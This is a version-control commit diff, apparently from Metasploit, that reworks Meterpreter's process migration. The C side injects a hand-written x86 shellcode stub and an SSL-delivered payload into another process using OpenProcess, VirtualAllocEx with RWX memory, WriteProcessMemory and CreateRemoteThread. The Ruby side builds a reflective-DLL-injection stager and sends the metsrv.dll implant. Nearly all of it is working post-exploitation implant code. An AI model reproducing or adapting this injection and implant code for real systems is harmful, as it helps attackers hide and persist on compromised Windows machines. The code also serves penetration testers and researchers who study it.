Transfer the migration payload over SSL, still working on a crash bug after migration completes
git-svn-id: file:///home/svn/framework3/trunk@6756 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c846f02c79
commit
7b516e06fe
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -181,6 +181,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
||||||
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
|
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
|
||||||
!= ERROR_SUCCESS))
|
!= ERROR_SUCCESS))
|
||||||
break;
|
break;
|
||||||
|
dprintf("Processing method %s", methodTlv.buffer);
|
||||||
|
|
||||||
// Get the request identifier if the packet has one.
|
// Get the request identifier if the packet has one.
|
||||||
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
|
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
|
||||||
|
@ -216,6 +217,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
||||||
res = command_call_dispatch(current, remote, inPacket);
|
res = command_call_dispatch(current, remote, inPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dprintf("Calling completion handlers...");
|
||||||
// Finally, call completion routines for the provided identifier
|
// Finally, call completion routines for the provided identifier
|
||||||
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
|
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
|
||||||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
|
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
|
||||||
|
|
|
@ -620,12 +620,15 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
DWORD threadId;
|
DWORD threadId;
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
DWORD pid;
|
DWORD pid;
|
||||||
|
PUCHAR payload;
|
||||||
|
DWORD payloadBytesLeft;
|
||||||
|
DWORD bytesRead;
|
||||||
|
|
||||||
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
|
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
|
||||||
BYTE stub[] =
|
BYTE stub[] =
|
||||||
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
|
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
|
||||||
"\x89\xE5" // mov ebp,esp ; create stack frame
|
"\x89\xE5" // mov ebp,esp ; create stack frame
|
||||||
"\x81\xEC\x00\x10\x00\x00" // sub esp, 0x1000 ; alloc space on stack
|
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
|
||||||
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
|
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
|
||||||
"\x51" // push ecx ; push "ws2_32"
|
"\x51" // push ecx ; push "ws2_32"
|
||||||
"\xFF\x16" // call near [esi] ; call loadLibrary
|
"\xFF\x16" // call near [esi] ; call loadLibrary
|
||||||
|
@ -643,21 +646,10 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
"\x97" // xchg eax,edi ; edi now = our duplicated socket
|
"\x97" // xchg eax,edi ; edi now = our duplicated socket
|
||||||
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
|
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
|
||||||
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
|
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
|
||||||
"\x8B\x5E\x08" // mov ebx,[esi+0x8] ; buffer total length
|
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
|
||||||
"\x8B\x6E\x04" // mov ebp,[esi+0x4] ; buffer address
|
"\x59" // pop ecx ; pop the address into a register
|
||||||
"\x55" // push ebp ; save address for return
|
"\xFF\xD1"; // call ecx ; call the payload
|
||||||
"\x6A\x00" // push byte +0x0 ; recv flags
|
|
||||||
"\x53" // push ebx ; remaining length to read
|
|
||||||
"\x55" // push ebp ; current buffer pointer
|
|
||||||
"\x57" // push edi ; socket
|
|
||||||
"\xFF\x56\x14" // call dword near [esi+0x14]; recv
|
|
||||||
"\x01\xC5" // add ebp,eax ; buffer address += bytes received
|
|
||||||
"\x29\xC3" // sub ebx,eax ; remaining length -= bytes received
|
|
||||||
"\x85\xDB" // test ebx,ebx ; test remaining length
|
|
||||||
"\x75\xF0" // jnz 0x7 ; continue if we have more to read
|
|
||||||
"\xC3" // ret ; return into the received buffer
|
|
||||||
"\x90\x90"; // nop; nop;
|
|
||||||
|
|
||||||
// Get the process identifier to inject into
|
// Get the process identifier to inject into
|
||||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
||||||
|
|
||||||
|
@ -684,7 +676,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
// Open the process so that we can duplicate shit into it
|
// Open the process so that we can into it
|
||||||
if (!(process = OpenProcess(
|
if (!(process = OpenProcess(
|
||||||
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
|
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
|
||||||
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
|
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
|
||||||
|
@ -726,7 +718,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
|
|
||||||
strcpy(context.ws2_32, "ws2_32");
|
strcpy(context.ws2_32, "ws2_32");
|
||||||
|
|
||||||
// Allocate storage for the stub and the context
|
// Allocate storage for the stub and context
|
||||||
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
|
@ -759,10 +751,47 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
// successfully migrated and are reaching the point of no return
|
// successfully migrated and are reaching the point of no return
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
|
||||||
|
// Receive the actual encoded payload over the SSL socket
|
||||||
|
if (!(payload = (PUCHAR)malloc(context.payloadLength)))
|
||||||
|
{
|
||||||
|
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
payloadBytesLeft = context.payloadLength;
|
||||||
|
|
||||||
|
// Read the payload
|
||||||
|
while (payloadBytesLeft > 0)
|
||||||
|
{
|
||||||
|
if ((bytesRead = ssl_read(&remote->ssl,
|
||||||
|
payload + context.payloadLength - payloadBytesLeft,
|
||||||
|
payloadBytesLeft)) <= 0)
|
||||||
|
{
|
||||||
|
if(bytesRead == POLARSSL_ERR_NET_TRY_AGAIN) continue;
|
||||||
|
|
||||||
|
if (GetLastError() == WSAEWOULDBLOCK)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (!bytesRead)
|
||||||
|
SetLastError(ERROR_NOT_FOUND);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
payloadBytesLeft -= bytesRead;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write this payload into the target process's memory
|
||||||
|
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
|
||||||
|
{
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
response = NULL;
|
response = NULL;
|
||||||
|
|
||||||
// Create the thread in the remote process
|
// Create the thread in the remote process
|
||||||
if (!(thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
|
@ -775,6 +804,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
dprintf("Shutting down the Meterpreter thread...");
|
||||||
|
|
||||||
// Exit the current process now that we've migrated to another one
|
// Exit the current process now that we've migrated to another one
|
||||||
ExitThread(0);
|
ExitThread(0);
|
||||||
|
|
|
@ -26,4 +26,16 @@
|
||||||
#include "scheduler.h"
|
#include "scheduler.h"
|
||||||
|
|
||||||
|
|
||||||
|
static void dprintf(char *format, ...) {
|
||||||
|
va_list args;
|
||||||
|
char buffer[1024];
|
||||||
|
va_start(args,format);
|
||||||
|
|
||||||
|
vsnprintf(buffer, sizeof(buffer)-3, format,args);
|
||||||
|
strcat(buffer, "\r\n");
|
||||||
|
OutputDebugString(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -56,29 +56,35 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
|
||||||
SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0);
|
SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0);
|
||||||
|
|
||||||
// Initialize SSL on the socket
|
// Initialize SSL on the socket
|
||||||
|
dprintf("Negotiating SSL...");
|
||||||
negotiate_ssl(remote);
|
negotiate_ssl(remote);
|
||||||
|
|
||||||
// Register extension dispatch routines
|
// Register extension dispatch routines
|
||||||
|
dprintf("Registering dispatch routines...");
|
||||||
register_dispatch_routines();
|
register_dispatch_routines();
|
||||||
|
|
||||||
|
dprintf("Entering the monitor loop...");
|
||||||
// Keep processing commands
|
// Keep processing commands
|
||||||
res = monitor_loop(remote);
|
res = monitor_loop(remote);
|
||||||
|
|
||||||
|
dprintf("Deregistering dispatch routines...");
|
||||||
// Clean up our dispatch routines
|
// Clean up our dispatch routines
|
||||||
deregister_dispatch_routines();
|
deregister_dispatch_routines();
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
|
dprintf("Closing down SSL...");
|
||||||
ssl_close_notify(&remote->ssl);
|
ssl_close_notify(&remote->ssl);
|
||||||
ssl_free(&remote->ssl);
|
ssl_free(&remote->ssl);
|
||||||
|
|
||||||
if (remote)
|
if (remote)
|
||||||
remote_deallocate(remote);
|
remote_deallocate(remote);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Invoke the fatal error handler */
|
/* Invoke the fatal error handler */
|
||||||
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
|
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
|
||||||
|
dprintf("*** exception triggered!");
|
||||||
|
ExitThread(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
return res;
|
return res;
|
||||||
|
@ -109,8 +115,11 @@ DWORD negotiate_ssl(Remote *remote)
|
||||||
ssl_set_ciphers( ssl, ssl_default_ciphers );
|
ssl_set_ciphers( ssl, ssl_default_ciphers );
|
||||||
ssl_set_session( ssl, 1, 60000, ssn );
|
ssl_set_session( ssl, 1, 60000, ssn );
|
||||||
|
|
||||||
/* This wakes up the ssl.accept() on the remote side */
|
|
||||||
|
dprintf("Sending a HTTP GET request to the remote side...");
|
||||||
|
/* This wakes up the sock.ssl.accept() on the remote side */
|
||||||
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
|
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
|
||||||
|
dprintf("Completed writing the HTTP GET request");
|
||||||
|
|
||||||
return(0);
|
return(0);
|
||||||
}
|
}
|
||||||
|
|
|
@ -133,10 +133,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||||
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
|
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
|
||||||
remote->hMetSrv = hAppInstance;
|
remote->hMetSrv = hAppInstance;
|
||||||
|
|
||||||
|
dprintf("Calling init()...");
|
||||||
// Call the init routine in the library
|
// Call the init routine in the library
|
||||||
if( init )
|
if( init )
|
||||||
res = init(remote);
|
res = init(remote);
|
||||||
|
dprintf("Called init()...");
|
||||||
}
|
}
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
@ -148,6 +149,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||||
packet_transmit(remote, response, NULL);
|
packet_transmit(remote, response, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dprintf("Returning back to cmd handler...");
|
||||||
return res;
|
return res;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -77,11 +77,27 @@ class Client
|
||||||
self.parser = PacketParser.new
|
self.parser = PacketParser.new
|
||||||
self.ext = ObjectAliases.new
|
self.ext = ObjectAliases.new
|
||||||
self.ext_aliases = ObjectAliases.new
|
self.ext_aliases = ObjectAliases.new
|
||||||
|
self.response_timeout = to
|
||||||
|
|
||||||
|
# Switch the socket to SSL mode
|
||||||
|
swap_sock_plain_to_ssl()
|
||||||
|
|
||||||
# XXX: Determine when to enable SSL here
|
register_extension_alias('core', ClientCore.new(self))
|
||||||
|
|
||||||
|
initialize_inbound_handlers
|
||||||
|
initialize_channels
|
||||||
|
|
||||||
|
# Register the channel inbound packet handler
|
||||||
|
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||||
|
|
||||||
|
monitor_socket
|
||||||
|
end
|
||||||
|
|
||||||
|
def swap_sock_plain_to_ssl
|
||||||
begin
|
begin
|
||||||
# Create a new SSL session on the existing socket
|
# Create a new SSL session on the existing socket
|
||||||
ssl = OpenSSL::SSL::SSLSocket.new(sock, generate_ssl_context())
|
ctx = generate_ssl_context()
|
||||||
|
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
|
||||||
|
|
||||||
# This won't fire until there is remote data
|
# This won't fire until there is remote data
|
||||||
ssl.accept
|
ssl.accept
|
||||||
|
@ -96,27 +112,20 @@ class Client
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
$stderr.puts "SSL Error: #{e} #{e.backtrace}"
|
$stderr.puts "SSL Error: #{e} #{e.backtrace}"
|
||||||
end
|
end
|
||||||
|
end
|
||||||
self.response_timeout = to
|
|
||||||
|
def swap_sock_ssl_to_plain
|
||||||
register_extension_alias('core', ClientCore.new(self))
|
self.sock = self.sock.fd
|
||||||
|
self.sock.extend(::Rex::Socket::Tcp)
|
||||||
initialize_inbound_handlers
|
self.sock.sslsock = nil
|
||||||
initialize_channels
|
self.sock.sslctx = nil
|
||||||
|
|
||||||
# Register the channel inbound packet handler
|
|
||||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
|
||||||
|
|
||||||
monitor_socket
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def generate_ssl_context
|
def generate_ssl_context
|
||||||
key = OpenSSL::PKey::RSA.new(512){ }
|
key = OpenSSL::PKey::RSA.new(1024){ }
|
||||||
|
|
||||||
cert = OpenSSL::X509::Certificate.new
|
cert = OpenSSL::X509::Certificate.new
|
||||||
cert.version = 2
|
cert.version = 2
|
||||||
cert.serial = rand(0xFFFFFFFF)
|
cert.serial = rand(0xFFFFFFFF)
|
||||||
# name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]])
|
# name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]])
|
||||||
subject = OpenSSL::X509::Name.new([
|
subject = OpenSSL::X509::Name.new([
|
||||||
["C","US"],
|
["C","US"],
|
||||||
|
|
|
@ -167,33 +167,47 @@ class ClientCore < Extension
|
||||||
#
|
#
|
||||||
def migrate( pid )
|
def migrate( pid )
|
||||||
|
|
||||||
c = Class.new( Msf::Payload )
|
# Create a new payload stub
|
||||||
|
c = Class.new( ::Msf::Payload )
|
||||||
c.include( Msf::Payload::Stager )
|
c.include( ::Msf::Payload::Stager )
|
||||||
|
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||||
c.include( Msf::Payload::Windows::ReflectiveDllInject )
|
|
||||||
|
|
||||||
|
# Create the migrate stager
|
||||||
migrate_stager = c.new()
|
migrate_stager = c.new()
|
||||||
|
|
||||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" )
|
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" )
|
||||||
|
|
||||||
payload = migrate_stager.stage_payload
|
payload = migrate_stager.stage_payload
|
||||||
|
|
||||||
|
# Send the migration request
|
||||||
request = Packet.create_request( 'core_migrate' )
|
request = Packet.create_request( 'core_migrate' )
|
||||||
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||||
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
|
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
|
||||||
|
|
||||||
response = client.send_request( request )
|
response = client.send_request( request )
|
||||||
|
|
||||||
|
# Stop the socket monitor
|
||||||
|
client.dispatcher_thread.kill if client.dispatcher_thread
|
||||||
|
|
||||||
|
# flush the receive buffer just in case
|
||||||
|
buff = client.sock.get_once(-1, 1)
|
||||||
|
|
||||||
|
# Send the payload over SSL
|
||||||
client.sock.write( payload )
|
client.sock.write( payload )
|
||||||
|
client.sock.flush
|
||||||
|
|
||||||
|
# Now communicating with the new process
|
||||||
|
|
||||||
|
# Renegotiate SSL over this socket
|
||||||
|
client.swap_sock_ssl_to_plain()
|
||||||
|
client.swap_sock_plain_to_ssl()
|
||||||
|
|
||||||
|
# Restart the socket monitor
|
||||||
|
client.monitor_socket
|
||||||
|
|
||||||
# Give the stage some time to transmit
|
# Give the stage some time to transmit
|
||||||
Rex::ThreadSafe.sleep( 5 )
|
Rex::ThreadSafe.sleep( 5 )
|
||||||
|
|
||||||
# Load all the extensions that were loaded in the previous instance
|
# Load all the extensions that were loaded in the previous instance
|
||||||
client.ext.aliases.keys.each { |e|
|
client.ext.aliases.keys.each { |e|
|
||||||
|
$stderr.puts "loading extension #{e}"
|
||||||
client.core.use(e)
|
client.core.use(e)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue